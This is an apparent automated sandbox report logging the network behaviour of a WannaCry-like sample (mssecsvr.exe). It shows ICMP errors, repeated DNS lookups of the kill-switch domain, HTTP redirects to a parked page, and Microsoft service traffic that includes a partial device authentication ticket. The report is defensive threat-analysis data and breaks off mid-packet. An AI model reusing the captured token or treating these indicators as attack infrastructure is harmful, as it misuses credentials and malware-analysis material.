Dec 22, 2022 10:07:03.240034103 CET	104.206.17.246	192.168.2.6	3a8f	(Unknown)	Destination Unreachable
Dec 22, 2022 10:07:04.333357096 CET	103.31.144.37	192.168.2.6	75c4	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:07:05.074805021 CET	4.71.162.38	192.168.2.6	4eb2	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:07:05.313950062 CET	149.11.89.129	192.168.2.6	824	(Net unreachable)	Destination Unreachable
Dec 22, 2022 10:07:06.724273920 CET	103.172.215.233	192.168.2.6	eb33	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:07:07.139363050 CET	98.17.25.101	192.168.2.6	3b4a	(Host unreachable)	Destination Unreachable
Dec 22, 2022 10:07:08.875422001 CET	65.156.39.254	192.168.2.6	3a55	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:07:19.273262978 CET	93.203.122.18	192.168.2.6	8af3	(Unknown)	Destination Unreachable
Dec 22, 2022 10:07:19.382498980 CET	24.29.148.81	192.168.2.6	f453	(Time to live exceeded in transit)	Time Exceeded
Dec 22, 2022 10:07:20.449228048 CET	83.71.245.237	192.168.2.6	94ac	(Unknown)	Destination Unreachable
Dec 22, 2022 10:07:22.629956961 CET	188.192.118.231	192.168.2.6	8b2d	(Unknown)	Destination Unreachable
Dec 22, 2022 10:07:25.629861116 CET	188.192.118.231	192.168.2.6	8b2d	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2022 10:03:13.716059923 CET	192.168.2.6	8.8.8.8	0xdfa6	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:14.169581890 CET	192.168.2.6	8.8.8.8	0xaab8	Standard query (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.117161036 CET	192.168.2.6	8.8.8.8	0x134b	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.601308107 CET	192.168.2.6	8.8.8.8	0x722d	Standard query (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.700788021 CET	192.168.2.6	8.8.8.8	0x5ea4	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:16.338462114 CET	192.168.2.6	8.8.8.8	0xa54d	Standard query (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2022 10:03:13.734134912 CET	8.8.8.8	192.168.2.6	0xdfa6	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com		103.224.212.220	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:14.192805052 CET	8.8.8.8	192.168.2.6	0xaab8	No error (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	701602.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 22, 2022 10:03:14.192805052 CET	8.8.8.8	192.168.2.6	0xaab8	No error (0)	701602.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:14.192805052 CET	8.8.8.8	192.168.2.6	0xaab8	No error (0)	701602.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.135354996 CET	8.8.8.8	192.168.2.6	0x134b	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com		103.224.212.220	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.619663954 CET	8.8.8.8	192.168.2.6	0x722d	No error (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	701602.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 22, 2022 10:03:15.619663954 CET	8.8.8.8	192.168.2.6	0x722d	No error (0)	701602.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.619663954 CET	8.8.8.8	192.168.2.6	0x722d	No error (0)	701602.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:15.873291016 CET	8.8.8.8	192.168.2.6	0x5ea4	No error (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com		103.224.212.220	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:16.508029938 CET	8.8.8.8	192.168.2.6	0xa54d	No error (0)	ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	701602.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 22, 2022 10:03:16.508029938 CET	8.8.8.8	192.168.2.6	0xa54d	No error (0)	701602.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 22, 2022 10:03:16.508029938 CET	8.8.8.8	192.168.2.6	0xa54d	No error (0)	701602.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

https:

www.bing.com

www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49713	23.211.4.90	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49715	23.211.4.90	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	52541	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	54184	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	58260	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49712	103.224.212.220	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:13.927982092 CET	0	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	103.224.212.220	80	192.168.2.6	49712	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:14.125061989 CET	0	IN	HTTP/1.1 302 Found date: Thu, 22 Dec 2022 09:03:14 GMT server: Apache/2.4.38 (Debian) set-cookie: __tad=1671699794.6959477; expires=Sun, 19-Dec-2032 09:03:14 GMT; Max-Age=315360000 location: http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/ content-length: 0 content-type: text/html; charset=UTF-8 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49714	76.223.26.96	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:14.257528067 CET	2	OUT	GET / HTTP/1.1 Cache-Control: no-cache Host: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	76.223.26.96	80	192.168.2.6	49714	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:14.407970905 CET	9	IN	HTTP/1.1 403 Forbidden Date: Thu, 22 Dec 2022 09:03:14 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49716	103.224.212.220	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:15.349755049 CET	11	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	103.224.212.220	80	192.168.2.6	49716	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:15.538772106 CET	11	IN	HTTP/1.1 302 Found date: Thu, 22 Dec 2022 09:03:15 GMT server: Apache/2.4.38 (Debian) set-cookie: __tad=1671699795.8390957; expires=Sun, 19-Dec-2032 09:03:15 GMT; Max-Age=315360000 location: http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/ content-length: 0 content-type: text/html; charset=UTF-8 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49717	13.248.148.254	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:15.680605888 CET	12	OUT	GET / HTTP/1.1 Cache-Control: no-cache Host: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Connection: Keep-Alive
Dec 22, 2022 10:03:15.820631027 CET	12	IN	HTTP/1.1 403 Forbidden Date: Thu, 22 Dec 2022 09:03:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49858	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49719	103.224.212.220	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:16.082875013 CET	13	OUT	GET / HTTP/1.1 Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Cache-Control: no-cache Cookie: __tad=1671699794.6959477

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	103.224.212.220	80	192.168.2.6	49719	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:16.279608011 CET	13	IN	HTTP/1.1 302 Found date: Thu, 22 Dec 2022 09:03:16 GMT server: Apache/2.4.38 (Debian) location: http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/ content-length: 0 content-type: text/html; charset=UTF-8 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49729	13.248.148.254	80	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Dec 22, 2022 10:03:16.537203074 CET	14	OUT	GET / HTTP/1.1 Cache-Control: no-cache Host: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com Connection: Keep-Alive
Dec 22, 2022 10:03:16.683810949 CET	15	IN	HTTP/1.1 403 Forbidden Date: Thu, 22 Dec 2022 09:03:16 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49932	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	50035	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50342	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	50405	20.90.152.133	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	50576	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	50962	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	51525	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49713	23.211.4.90	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:14 UTC	0	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2022-12-22 09:03:14 UTC	0	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0JuihYwAAAAAFyVjTsdqZQIeFHkniFd5PTFRTRURHRTEzMjEAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=114555 Date: Thu, 22 Dec 2022 09:03:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49715	23.211.4.90	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:03:14 UTC	0	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2022-12-22 09:03:14 UTC	0	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WjMqYwAAAABjF7l0wOIgQK+R1dOMvnGMTE9OMjFFREdFMTgxNABjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=164851 Date: Thu, 22 Dec 2022 09:03:14 GMT Content-Length: 55 Connection: close X-CID: 2
2022-12-22 09:03:14 UTC	1	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	52541	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:05:08 UTC	244	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 33 33 31 64 39 34 61 61 35 64 36 32 32 38 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: c331d94aa5d62285
2022-12-22 09:05:08 UTC	244	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:05:08 UTC	245	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 33 33 31 64 39 34 61 61 35 64 36 32 32 38 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: c331d94aa5d62285<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:05:08 UTC	246	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 33 33 31 64 39 34 61 61 35 64 36 32 32 38 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: c331d94aa5d62285
2022-12-22 09:05:08 UTC	246	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:05:08 UTC	246	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 6f 56 61 31 59 2f 33 51 30 4b 4c 37 63 4f 50 68 41 4a 33 33 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VoVa1Y/3Q0KL7cOPhAJ33g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	54184	20.90.156.32	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:05:40 UTC	246	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 38 62 34 34 32 65 34 38 35 63 61 31 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 328b442e485ca1ff
2022-12-22 09:05:40 UTC	246	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:05:40 UTC	246	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 38 62 34 34 32 65 34 38 35 63 61 31 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 79 34 38 6c 41 37 79 6c 32 4c 47 6a 34 78 33 38 49 63 Data Ascii: ATH 2 CON\DEVICE 1026Context: 328b442e485ca1ff<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVCrE55K0G8DTMZwA/kFwAOIbB8z/Xnt9AvOY/kkNrZGOtkiTDtYZhYth/W+Rx3mJa0c/jL42Av0Jb8BZ0LDh5jy8xfHYNoWcKTpZucftH3XGYAOdlU5iq5y48lA7yl2LGj4x38Ic
2022-12-22 09:05:40 UTC	247	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 38 62 34 34 32 65 34 38 35 63 61 31 66 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 328b442e485ca1ff
2022-12-22 09:05:40 UTC	247	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-12-22 09:05:40 UTC	247	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 56 4a 2f 61 76 55 6c 77 30 43 69 43 33 67 6e 33 73 50 6b 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +VJ/avUlw0CiC3gn3sPkJg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	58260	20.90.153.243	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-22 09:06:37 UTC	247	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 36 62 33 35 63 39 32 35 64 31 63 39 62 37 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 16b35c925d1c9b72
2022-12-22 09:06:37 UTC	247	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-12-22 09:06:37 UTC	247	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 36 62 33 35 63 39 32 35 64 31 63 39 62 37 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 43 72 45 35 35 4b 30 47 38 44 54 4d 5a 77 41 2f 6b 46 77 41 4f 49 62 42 38 7a 2f 58 6e 74 39 41 76 4f 59 2f 6b 6b 4e 72 5a 47 4f 74 6b 69 54 44 74 59 5a 68 59 74 68 2f 57 2b 52 78 33 6d 4a 61 30 63 2f 6a 4c 34 32 41 76 30 4a 62 38 42 5a 30 4c 44 68 35 6a 79 38 78 66 48 59 4e 6f 57 63 4b 54 70 5a 75 63 66 74 48 33 58 47 59 41 4f 64 6c 55 35 69 71 35 